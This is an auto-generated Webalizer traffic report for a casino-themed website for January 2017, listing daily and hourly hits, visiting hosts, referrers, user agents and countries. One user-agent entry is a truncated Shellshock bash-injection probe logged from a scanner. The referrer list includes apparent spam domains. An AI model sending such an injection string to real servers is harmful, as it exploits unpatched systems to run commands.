Usage Statistics for onlinecasino4blackjackplayers.com

Summary Period: January 2017
Generated 01-Feb-2017 04:02 CST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for January 2017
Total Hits 885
Total Files 661
Total Pages 641
Total Visits 400
Total KBytes 3136
Total Unique Sites 221
Total Unique URLs 6
Total Unique Referrers 98
Total Unique User Agents 134
. Avg Max
Hits per Hour 1 16
Hits per Day 28 58
Files per Day 21 45
Pages per Day 20 48
Visits per Day 12 22
KBytes per Day 101 282
Hits by Response Code
Code 200 - OK 661
Code 304 - Not Modified 2
Code 403 - Forbidden 1
Code 404 - Not Found 221

Daily usage for January 2017

Daily Statistics for January 2017
Day Hits Files Pages Visits Sites KBytes
1 24 2.71% 14 2.12% 16 2.50% 11 2.75% 10 4.52% 19 0.60%
2 19 2.15% 8 1.21% 14 2.18% 7 1.75% 5 2.26% 13 0.43%
3 26 2.94% 15 2.27% 9 1.40% 9 2.25% 12 5.43% 248 7.91%
4 8 0.90% 6 0.91% 6 0.94% 6 1.50% 4 1.81% 8 0.26%
5 21 2.37% 16 2.42% 11 1.72% 10 2.50% 8 3.62% 247 7.87%
6 8 0.90% 6 0.91% 6 0.94% 6 1.50% 6 2.71% 8 0.26%
7 16 1.81% 13 1.97% 7 1.09% 7 1.75% 5 2.26% 242 7.71%
8 10 1.13% 9 1.36% 9 1.40% 9 2.25% 7 3.17% 12 0.37%
9 15 1.69% 11 1.66% 11 1.72% 11 2.75% 11 4.98% 15 0.48%
10 21 2.37% 15 2.27% 13 2.03% 12 3.00% 12 5.43% 17 0.54%
11 19 2.15% 10 1.51% 9 1.40% 9 2.25% 9 4.07% 15 0.47%
12 17 1.92% 10 1.51% 9 1.40% 8 2.00% 6 2.71% 14 0.45%
13 21 2.37% 8 1.21% 14 2.18% 9 2.25% 8 3.62% 14 0.45%
14 58 6.55% 45 6.81% 48 7.49% 21 5.25% 15 6.79% 60 1.91%
15 35 3.95% 25 3.78% 23 3.59% 12 3.00% 16 7.24% 260 8.30%
16 32 3.62% 26 3.93% 26 4.06% 14 3.50% 14 6.33% 34 1.10%
17 31 3.50% 25 3.78% 21 3.28% 12 3.00% 14 6.33% 260 8.28%
18 38 4.29% 31 4.69% 31 4.84% 20 5.00% 18 8.14% 41 1.31%
19 30 3.39% 22 3.33% 18 2.81% 12 3.00% 20 9.05% 256 8.18%
20 54 6.10% 35 5.30% 43 6.71% 16 4.00% 17 7.69% 275 8.77%
21 32 3.62% 28 4.24% 27 4.21% 18 4.50% 16 7.24% 35 1.10%
22 22 2.49% 17 2.57% 18 2.81% 11 2.75% 11 4.98% 23 0.73%
23 26 2.94% 21 3.18% 21 3.28% 12 3.00% 10 4.52% 28 0.89%
24 40 4.52% 32 4.84% 26 4.06% 19 4.75% 22 9.95% 267 8.52%
25 48 5.42% 44 6.66% 39 6.08% 19 4.75% 16 7.24% 282 8.98%
26 38 4.29% 30 4.54% 30 4.68% 22 5.50% 20 9.05% 40 1.28%
27 29 3.28% 24 3.63% 23 3.59% 14 3.50% 13 5.88% 28 0.91%
28 38 4.29% 29 4.39% 28 4.37% 16 4.00% 16 7.24% 39 1.23%
29 42 4.75% 36 5.45% 34 5.30% 21 5.25% 19 8.60% 43 1.38%
30 36 4.07% 25 3.78% 30 4.68% 14 3.50% 13 5.88% 35 1.11%
31 31 3.50% 25 3.78% 21 3.28% 13 3.25% 17 7.69% 260 8.28%

Hourly usage for January 2017

Hourly Statistics for January 2017
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 1 34 3.84% 0 29 4.39% 0 24 3.74% 1 34 1.07%
1 0 26 2.94% 0 20 3.03% 0 24 3.74% 1 27 0.86%
2 1 48 5.42% 1 36 5.45% 0 25 3.90% 16 500 15.93%
3 1 54 6.10% 1 35 5.30% 1 32 4.99% 2 48 1.52%
4 1 53 5.99% 1 39 5.90% 1 39 6.08% 2 52 1.66%
5 1 37 4.18% 1 31 4.69% 0 29 4.52% 1 39 1.24%
6 0 28 3.16% 0 11 1.66% 0 24 3.74% 1 19 0.60%
7 1 40 4.52% 1 33 4.99% 1 35 5.46% 1 42 1.35%
8 1 31 3.50% 0 28 4.24% 0 28 4.37% 1 36 1.15%
9 1 34 3.84% 0 26 3.93% 0 28 4.37% 1 34 1.08%
10 1 38 4.29% 0 26 3.93% 0 25 3.90% 8 263 8.38%
11 1 32 3.62% 0 23 3.48% 0 24 3.74% 1 30 0.95%
12 0 16 1.81% 0 10 1.51% 0 10 1.56% 0 12 0.40%
13 1 36 4.07% 0 29 4.39% 0 28 4.37% 1 38 1.21%
14 1 32 3.62% 0 25 3.78% 0 24 3.74% 1 32 1.01%
15 1 46 5.20% 0 27 4.08% 1 36 5.62% 1 40 1.26%
16 1 44 4.97% 1 33 4.99% 1 32 4.99% 9 271 8.65%
17 1 33 3.73% 0 22 3.33% 0 20 3.12% 8 257 8.21%
18 1 34 3.84% 0 26 3.93% 0 27 4.21% 1 34 1.10%
19 0 22 2.49% 0 20 3.03% 0 20 3.12% 1 26 0.82%
20 1 39 4.41% 1 32 4.84% 0 24 3.74% 16 495 15.79%
21 1 46 5.20% 1 34 5.14% 0 24 3.74% 16 498 15.88%
22 1 58 6.55% 1 47 7.11% 1 42 6.55% 2 59 1.89%
23 0 24 2.71% 0 19 2.87% 0 17 2.65% 8 252 8.03%

Top 2 of 6 Total URLs
# Hits KBytes URL
1 587 66.33% 727 23.18% /
2 34 3.84% 21 0.68% /css-doorways-a.css

Top 2 of 6 Total URLs By KBytes
# Hits KBytes URL
1 587 66.33% 727 23.18% /
2 34 3.84% 21 0.68% /css-doorways-a.css

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 587 66.33% 384 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 587 66.33% 380 100.00% /

Top 30 of 221 Total Sites
# Hits Files KBytes Visits Hostname
1 67 7.57% 67 10.14% 84 2.68% 25 6.25% 178-137-161-236.broadband.kyivstar.net
2 65 7.34% 65 9.83% 82 2.60% 20 5.00% 178-137-16-194.broadband.kyivstar.net
3 60 6.78% 60 9.08% 75 2.40% 23 5.75% 178-137-18-149.broadband.kyivstar.net
4 49 5.54% 49 7.41% 62 1.96% 18 4.50% 46-118-119-25.broadband.kyivstar.net
5 44 4.97% 44 6.66% 55 1.76% 44 11.00% msnbot-40-77-167-59.search.msn.com
6 40 4.52% 34 5.14% 45 1.42% 33 8.25% msnbot-40-77-167-9.search.msn.com
7 30 3.39% 25 3.78% 33 1.05% 25 6.25% msnbot-207-46-13-27.search.msn.com
8 25 2.82% 8 1.21% 15 0.46% 8 2.00% spider-141-8-143-163.yandex.com
9 20 2.26% 20 3.03% 25 0.80% 4 1.00% 134-249-50-153.broadband.kyivstar.net
10 19 2.15% 8 1.21% 13 0.43% 8 2.00% spider-141-8-143-167.yandex.com
11 16 1.81% 14 2.12% 18 0.58% 14 3.50% msnbot-157-55-39-73.search.msn.com
12 15 1.69% 15 2.27% 19 0.60% 5 1.25% 46-211-196-121.broadband.kyivstar.net
13 15 1.69% 15 2.27% 19 0.60% 5 1.25% 5-248-196-252.broadband.kyivstar.net
14 14 1.58% 2 0.30% 6 0.20% 2 0.50% 178-137-87-242-broadband.kyivstar.net
15 14 1.58% 1 0.15% 5 0.17% 1 0.25% vm9.studio-web.be
16 10 1.13% 3 0.45% 6 0.19% 1 0.25% 195-154-191-64.rev.poneytelecom.eu
17 9 1.02% 3 0.45% 6 0.18% 3 0.75% spider-141-8-143-218.yandex.com
18 8 0.90% 8 1.21% 8 0.24% 4 1.00% 207.102.138.158
19 7 0.79% 1 0.15% 3 0.10% 1 0.25% 178-137-87-242.broadband.kyivstar.net
20 7 0.79% 1 0.15% 3 0.10% 1 0.25% 95-65-30-156.starnet.md
21 6 0.68% 0 0.00% 2 0.06% 3 0.75% 195-154-199-66.rev.poneytelecom.eu
22 6 0.68% 6 0.91% 6 0.18% 3 0.75% 208.91.115.10
23 6 0.68% 3 0.45% 5 0.15% 3 0.75% crawl12.exabot.com
24 6 0.68% 4 0.61% 6 0.18% 2 0.50% spider-5-255-250-100.yandex.com
25 5 0.56% 5 0.76% 233 7.42% 0 0.00% 157.55.2.133
26 5 0.56% 0 0.00% 1 0.05% 0 0.00% 46.229.164.102
27 5 0.56% 0 0.00% 1 0.05% 0 0.00% 46.229.164.98
28 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-131-253-25-226.search.msn.com
29 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-131-253-27-132.search.msn.com
30 5 0.56% 3 0.45% 4 0.14% 3 0.75% msnbot-157-55-39-147.search.msn.com

Top 10 of 221 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 5 0.56% 5 0.76% 233 7.42% 0 0.00% 157.55.2.133
2 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-131-253-25-226.search.msn.com
3 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-131-253-27-132.search.msn.com
4 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-199-30-24-48.search.msn.com
5 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-199-30-24-54.search.msn.com
6 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-199-30-25-55.search.msn.com
7 5 0.56% 5 0.76% 233 7.42% 0 0.00% msnbot-65-55-213-24.search.msn.com
8 2 0.23% 2 0.30% 161 5.15% 0 0.00% msnbot-131-253-25-159.search.msn.com
9 2 0.23% 2 0.30% 157 4.99% 0 0.00% msnbot-131-253-25-162.search.msn.com
10 1 0.11% 1 0.15% 156 4.97% 0 0.00% msnbot-131-253-27-47.search.msn.com

Top 30 of 98 Total Referrers
# Hits Referrer
1 517 58.42% - (Direct Request)
2 51 5.76% http://onlinecasino4blackjackplayers.com/
3 11 1.24% http://recinziireale.com/
4 10 1.13% http://ussuriysk.xxxrus.org/
5 9 1.02% http://electricwheelchairsarea.com/
6 9 1.02% http://xn--d1abj0abs9d.in.ua/
7 7 0.79% http://abakan.xxxrus.org/
8 7 0.79% http://chita.xxxrus.org/
9 7 0.79% http://sterlitamak.xxxrus.org/
10 7 0.79% http://xn-----7kcabaipgeakzcss7bjdqdwpfnhv.xn--p1ai/
11 7 0.79% http://zajm-pod-zalog-nedvizhimosti.ru/
12 6 0.68% http://buy-loft.ru/
13 6 0.68% http://engels.xxxrus.org/
14 6 0.68% http://kmd-pto.ru/
15 6 0.68% http://uptime.com/onlinecasino4blackjackplayers.com
16 6 0.68% http://www.mhi-systems.ru/
17 6 0.68% http://yuzhno-sakhalinsk.xxxrus.org/
18 5 0.56% http://dzerzhinsk.xxxrus.org/
19 5 0.56% http://fashion-stickers.ru/
20 5 0.56% http://kadashihotel.com/
21 5 0.56% http://lyubertsy.xxxrus.org/
22 5 0.56% http://www.onlinecasino4blackjackplayers.com/
23 5 0.56% http://www.puzzleweb.ru/
24 4 0.45% http://pizza-tycoon.com/
25 4 0.45% http://pushkino.xxxrus.org/
26 4 0.45% http://rybinsk.xxxrus.org/
27 3 0.34% http://98oi.ru/
28 3 0.34% http://alldubai.biz/
29 3 0.34% http://balkanfarma.ru/
30 3 0.34% http://biysk.xxxrus.org/

Top 15 of 134 Total User Agents
# Hits User Agent
1 161 18.19% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
2 64 7.23% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
3 55 6.21% Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safa
4 41 4.63% Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)
5 32 3.62% Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0
6 29 3.28% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
7 26 2.94% Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36
8 23 2.60% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
9 15 1.69% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
10 14 1.58% () { foo;};echo; /bin/bash -c \"exp
11 13 1.47% Mozilla/4.0 (compatible; MSIE 5.5; Windows 95)
12 13 1.47% Mozilla/5.0 (compatible; Uptimebot/1.0; +http://www.uptime.com/uptimebot)
13 11 1.24% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer 1.5.0; .NET CLR 1.0.3705)
14 11 1.24% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
15 11 1.24% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

Usage by Country for January 2017

Top 17 of 17 Total Countries
# Hits Files KBytes Country
1 398 44.97% 273 41.30% 2411 76.87% commercial (.com)
2 325 36.72% 303 45.84% 382 12.18% network (.net)
3 89 10.06% 58 8.77% 295 9.42% unresolved
4 22 2.49% 9 1.36% 15 0.49% European Union
5 14 1.58% 1 0.15% 5 0.17% Belgium
6 7 0.79% 1 0.15% 3 0.10% Moldova
7 6 0.68% 3 0.45% 5 0.15% Russia
8 5 0.56% 3 0.45% 4 0.14% Iceland
9 5 0.56% 1 0.15% 3 0.08% Netherlands
10 5 0.56% 3 0.45% 4 0.14% Ukraine
11 2 0.23% 0 0.00% 1 0.02% organizations (.org)
12 2 0.23% 1 0.15% 2 0.05% Seychelles
13 1 0.11% 1 0.15% 1 0.04% Austria
14 1 0.11% 1 0.15% 1 0.04% Switzerland
15 1 0.11% 1 0.15% 1 0.04% Luxembourg
16 1 0.11% 1 0.15% 1 0.04% Norway
17 1 0.11% 1 0.15% 1 0.04% United States of America


Generated by Webalizer Version 2.01